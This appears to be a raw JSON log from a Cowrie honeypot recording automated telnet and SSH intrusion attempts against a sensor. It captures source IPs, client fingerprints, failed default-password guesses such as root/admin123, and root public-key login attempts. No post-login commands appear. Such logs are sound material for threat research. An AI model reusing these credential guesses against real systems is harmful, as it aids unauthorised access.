{"eventid":"cowrie.session.closed","duration":34.63622260093689,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:25:00.954945Z","src_ip":"128.199.8.54","session":"7444461a0561","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51813244819641,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:25:05.124545Z","src_ip":"8.222.233.13","session":"b61b67e9cef3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":44640,"dst_ip":"10.17.0.5","dst_port":23,"session":"f72bda552f25","protocol":"telnet","message":"New connection: 212.55.149.117:44640 (10.17.0.5:23) [session: f72bda552f25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:25:08.494770Z"}
{"eventid":"cowrie.session.closed","duration":31.813159942626953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:25:10.197539Z","src_ip":"128.199.8.54","session":"a6550a91170d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.506974935531616,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:25:15.607255Z","src_ip":"128.199.8.54","session":"aa15ce847aed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.36834716796875,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:25:16.404439Z","src_ip":"128.199.8.54","session":"c8a5c6238aec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42056,"dst_ip":"159.203.135.109","dst_port":23,"session":"14c61a0a9291","protocol":"telnet","message":"New connection: 128.199.8.54:42056 (159.203.135.109:23) [session: 14c61a0a9291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:25:21.088015Z"}
{"eventid":"cowrie.session.closed","duration":120.00161218643188,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:25:21.439394Z","src_ip":"212.55.149.117","session":"d9d1e860f1a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.81915807723999,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:25:21.872903Z","src_ip":"128.199.8.54","session":"d38efca3cdba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.27388381958008,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:25:22.526527Z","src_ip":"128.199.8.54","session":"8788cf459cec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":38367,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a76b60d807e","protocol":"telnet","message":"New connection: 212.55.149.117:38367 (10.17.0.5:23) [session: 7a76b60d807e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:25:23.469937Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33882,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f51d7c0161a","protocol":"telnet","message":"New connection: 128.199.8.54:33882 (159.203.135.109:23) [session: 3f51d7c0161a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:25:31.002794Z"}
{"eventid":"cowrie.session.closed","duration":118.23167157173157,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:25:33.681093Z","src_ip":"212.55.149.117","session":"96036a65ccb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46616,"dst_ip":"159.203.135.109","dst_port":23,"session":"531759661ab2","protocol":"telnet","message":"New connection: 128.199.8.54:46616 (159.203.135.109:23) [session: 531759661ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:25:37.193483Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":37150,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b1565e50bec","protocol":"ssh","message":"New connection: 78.83.249.54:37150 (159.203.135.109:22) [session: 7b1565e50bec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:25:37.948849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:25:37.954685Z","src_ip":"78.83.249.54","session":"7b1565e50bec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:25:38.080616Z","src_ip":"78.83.249.54","session":"7b1565e50bec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu@123","message":"login attempt [ubuntu/Ubuntu@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:25:38.549696Z","src_ip":"78.83.249.54","session":"7b1565e50bec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:25:39.672707Z","src_ip":"78.83.249.54","session":"7b1565e50bec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":32970,"dst_ip":"159.203.135.109","dst_port":23,"session":"3301a5a02885","protocol":"telnet","message":"New connection: 128.199.8.54:32970 (159.203.135.109:23) [session: 3301a5a02885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:25:44.312701Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60738,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b442bea96c4","protocol":"telnet","message":"New connection: 128.199.8.54:60738 (159.203.135.109:23) [session: 9b442bea96c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:25:45.072586Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41816,"dst_ip":"159.203.135.109","dst_port":23,"session":"438a860d5513","protocol":"telnet","message":"New connection: 128.199.8.54:41816 (159.203.135.109:23) [session: 438a860d5513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:25:48.817060Z"}
{"eventid":"cowrie.session.closed","duration":33.455554485321045,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:25:54.543386Z","src_ip":"128.199.8.54","session":"14c61a0a9291","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56532,"dst_ip":"159.203.135.109","dst_port":23,"session":"1397a7bf9e2a","protocol":"telnet","message":"New connection: 128.199.8.54:56532 (159.203.135.109:23) [session: 1397a7bf9e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:25:55.856591Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37620,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea9a59115b63","protocol":"telnet","message":"New connection: 128.199.8.54:37620 (159.203.135.109:23) [session: ea9a59115b63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:01.381110Z"}
{"eventid":"cowrie.session.closed","duration":32.13319969177246,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:03.135889Z","src_ip":"128.199.8.54","session":"3f51d7c0161a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44872,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f5f8657ebff","protocol":"telnet","message":"New connection: 128.199.8.54:44872 (159.203.135.109:23) [session: 7f5f8657ebff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:03.957755Z"}
{"eventid":"cowrie.session.closed","duration":34.50543832778931,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:11.698753Z","src_ip":"128.199.8.54","session":"531759661ab2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":57410,"dst_ip":"10.17.0.5","dst_port":22,"session":"faaf93afe3dd","protocol":"ssh","message":"New connection: 103.15.226.202:57410 (10.17.0.5:22) [session: faaf93afe3dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:14.780033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:14.785254Z","src_ip":"103.15.226.202","session":"faaf93afe3dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:15.037807Z","src_ip":"103.15.226.202","session":"faaf93afe3dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:15.806157Z","src_ip":"103.15.226.202","session":"faaf93afe3dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:17.066763Z","src_ip":"103.15.226.202","session":"faaf93afe3dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.46304106712341,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:17.535526Z","src_ip":"128.199.8.54","session":"9b442bea96c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"151.236.216.61","src_port":39176,"dst_ip":"10.17.0.5","dst_port":22,"session":"f118fe12a2b7","protocol":"ssh","message":"New connection: 151.236.216.61:39176 (10.17.0.5:22) [session: f118fe12a2b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:17.608068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:17.616774Z","src_ip":"151.236.216.61","session":"f118fe12a2b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:17.705626Z","src_ip":"151.236.216.61","session":"f118fe12a2b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.70120978355408,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:18.013782Z","src_ip":"128.199.8.54","session":"3301a5a02885","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:a5:b4:60:70:f8:ec:d9:47:87:29:1e:77:50:45:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7W8KienQOKBi1gMAeoOkIbdx62L4d+YzsIvfnB8oVpRSglmtNk/lQ+tT+edzdofmuSyR2lUfqlIXq+4MagCnw8FIPu24KZ5dt+cmaSnvVSImBki/VtAZ5z90SwV5Krhs0tUSzl4/LVvMeY7Oi0fTRn5BYWWC+PfGfHLxGzHR1kX5klV+/nhiE9qndrAkT3Kcvul2tS7h1K2MgQbJ6lhyTDoA0Nk0xLwbDuNci0pf6nDxjUWKOFkjm1x7FSX1VYa0+WLn8dhBKLHtnaga1Sc/dYI3oYJFxFvdWQCWyXOEts4BH1jy85LZMBC9So+H3tGoKgxoMbqINXnfTAHJN07qx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:a5:b4:60:70:f8:ec:d9:47:87:29:1e:77:50:45:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:18.121962Z","src_ip":"151.236.216.61","session":"f118fe12a2b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:a5:b4:60:70:f8:ec:d9:47:87:29:1e:77:50:45:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7W8KienQOKBi1gMAeoOkIbdx62L4d+YzsIvfnB8oVpRSglmtNk/lQ+tT+edzdofmuSyR2lUfqlIXq+4MagCnw8FIPu24KZ5dt+cmaSnvVSImBki/VtAZ5z90SwV5Krhs0tUSzl4/LVvMeY7Oi0fTRn5BYWWC+PfGfHLxGzHR1kX5klV+/nhiE9qndrAkT3Kcvul2tS7h1K2MgQbJ6lhyTDoA0Nk0xLwbDuNci0pf6nDxjUWKOFkjm1x7FSX1VYa0+WLn8dhBKLHtnaga1Sc/dYI3oYJFxFvdWQCWyXOEts4BH1jy85LZMBC9So+H3tGoKgxoMbqINXnfTAHJN07qx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:18.126197Z","src_ip":"151.236.216.61","session":"f118fe12a2b7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:c9:ff:ea:0c:14:d0:87:4c:35:16:64:8d:14:a0:9c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF3nkfp1rasO6YSeOBbG3pPE9MRgz6d0Qf/MzemYk3LO","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint c2:c9:ff:ea:0c:14:d0:87:4c:35:16:64:8d:14:a0:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:18.215526Z","src_ip":"151.236.216.61","session":"f118fe12a2b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:c9:ff:ea:0c:14:d0:87:4c:35:16:64:8d:14:a0:9c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF3nkfp1rasO6YSeOBbG3pPE9MRgz6d0Qf/MzemYk3LO","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:18.219787Z","src_ip":"151.236.216.61","session":"f118fe12a2b7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:ea:eb:5f:ad:a9:60:ed:3b:b0:8b:19:57:7e:60:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWhnnXhxBb9HUrzyMGtXsd8syDq8eoyyHwQ/0gi2lZ48rtHkqjWCycHV92hG9zEfdjliDHz9AFuRRhMlULipNKvdKEwX/G2kqyScUZM/9j8RLEAGo+VjZ6Zn2rv2eLYaYGvRisiLE/qTQDzB9Cwo/CrLL4kYcN5g4yRx784xg5b8NznRGPJFWQBkchkChDyykKs8ZY6JGRZtS9zpn2r/fqicBA4Pkqh6WXAhCwtwmhXFED3WKELdyHQDGaboIfZbbdu0oLQ08NeGiIWl5IYp92V30rsCo7CyngxoLDts5dM2tWCkHeRYVKjUnGRcuQKlhGAdHuOUtcWsECTjR+zI5IGlFhu2nolYjBJJypdr0gB3/xSo7MkmUlDExFzO6OTZkoA7mkcI5zcChDYfByx488+STf/dhxLOwF4mZwzSd8IE9RIjhHFv1PK4mejS3TIGPccR4B3gjL+NWzDCU3zMAI2R5E+x0PYYGbQcuSXUnpPNsnlrJGnxbXsT/stIKr1btpUEtNjdT51vR/rKGT9q5fhlAEFStD0fuhtl61l2QMe9RweLa+euIe3W9dQ+CA48oMA4FqpoA7aaByJN938hpi/caE3Jk915JYjhO2Mf/DOFGrxWtmQ0cbx752UlP3RLARcgp2sYpdztlFdpAoYHGobo7+c4dA7TvI5CeNFieetw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:ea:eb:5f:ad:a9:60:ed:3b:b0:8b:19:57:7e:60:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:18.309306Z","src_ip":"151.236.216.61","session":"f118fe12a2b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:ea:eb:5f:ad:a9:60:ed:3b:b0:8b:19:57:7e:60:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWhnnXhxBb9HUrzyMGtXsd8syDq8eoyyHwQ/0gi2lZ48rtHkqjWCycHV92hG9zEfdjliDHz9AFuRRhMlULipNKvdKEwX/G2kqyScUZM/9j8RLEAGo+VjZ6Zn2rv2eLYaYGvRisiLE/qTQDzB9Cwo/CrLL4kYcN5g4yRx784xg5b8NznRGPJFWQBkchkChDyykKs8ZY6JGRZtS9zpn2r/fqicBA4Pkqh6WXAhCwtwmhXFED3WKELdyHQDGaboIfZbbdu0oLQ08NeGiIWl5IYp92V30rsCo7CyngxoLDts5dM2tWCkHeRYVKjUnGRcuQKlhGAdHuOUtcWsECTjR+zI5IGlFhu2nolYjBJJypdr0gB3/xSo7MkmUlDExFzO6OTZkoA7mkcI5zcChDYfByx488+STf/dhxLOwF4mZwzSd8IE9RIjhHFv1PK4mejS3TIGPccR4B3gjL+NWzDCU3zMAI2R5E+x0PYYGbQcuSXUnpPNsnlrJGnxbXsT/stIKr1btpUEtNjdT51vR/rKGT9q5fhlAEFStD0fuhtl61l2QMe9RweLa+euIe3W9dQ+CA48oMA4FqpoA7aaByJN938hpi/caE3Jk915JYjhO2Mf/DOFGrxWtmQ0cbx752UlP3RLARcgp2sYpdztlFdpAoYHGobo7+c4dA7TvI5CeNFieetw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:18.313689Z","src_ip":"151.236.216.61","session":"f118fe12a2b7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:0c:1d:88:64:b2:f2:bf:54:a6:d3:b1:1a:29:52:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDlrFjYzx/CZ/wSI2wmG5iq2piv+1l3wJnQK8K1ngHfArU8JLuOzO1K3jTwNwJGzRDeNkzL/8YlsQd6OdU7PLNfCNCO/4KtC4547n/gI24/4oG2XQoirsRUHYwhPFclcJFKUUVn95+yoBR8wxGp4p17eHp3MF2S67fJabiTTEsdoNk8EUb+leA+GhFXfIjJdu07OhnhCglgIBhR+LCf1cCljZ0sRf64VS5Yrjk+xedeppMnvZVH3e27wry5CS0YBSvvtArWNJmkn6rFVe/EVkOZxEwiMfZJ2iu8mMjWKftqyDnjKidGcyoer887X9ZoDkw4n+Ne68cDYpJu5sBMhCU9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c3:0c:1d:88:64:b2:f2:bf:54:a6:d3:b1:1a:29:52:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:18.406865Z","src_ip":"151.236.216.61","session":"f118fe12a2b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:0c:1d:88:64:b2:f2:bf:54:a6:d3:b1:1a:29:52:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDlrFjYzx/CZ/wSI2wmG5iq2piv+1l3wJnQK8K1ngHfArU8JLuOzO1K3jTwNwJGzRDeNkzL/8YlsQd6OdU7PLNfCNCO/4KtC4547n/gI24/4oG2XQoirsRUHYwhPFclcJFKUUVn95+yoBR8wxGp4p17eHp3MF2S67fJabiTTEsdoNk8EUb+leA+GhFXfIjJdu07OhnhCglgIBhR+LCf1cCljZ0sRf64VS5Yrjk+xedeppMnvZVH3e27wry5CS0YBSvvtArWNJmkn6rFVe/EVkOZxEwiMfZJ2iu8mMjWKftqyDnjKidGcyoer887X9ZoDkw4n+Ne68cDYpJu5sBMhCU9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:18.411028Z","src_ip":"151.236.216.61","session":"f118fe12a2b7","protocol":"ssh"}
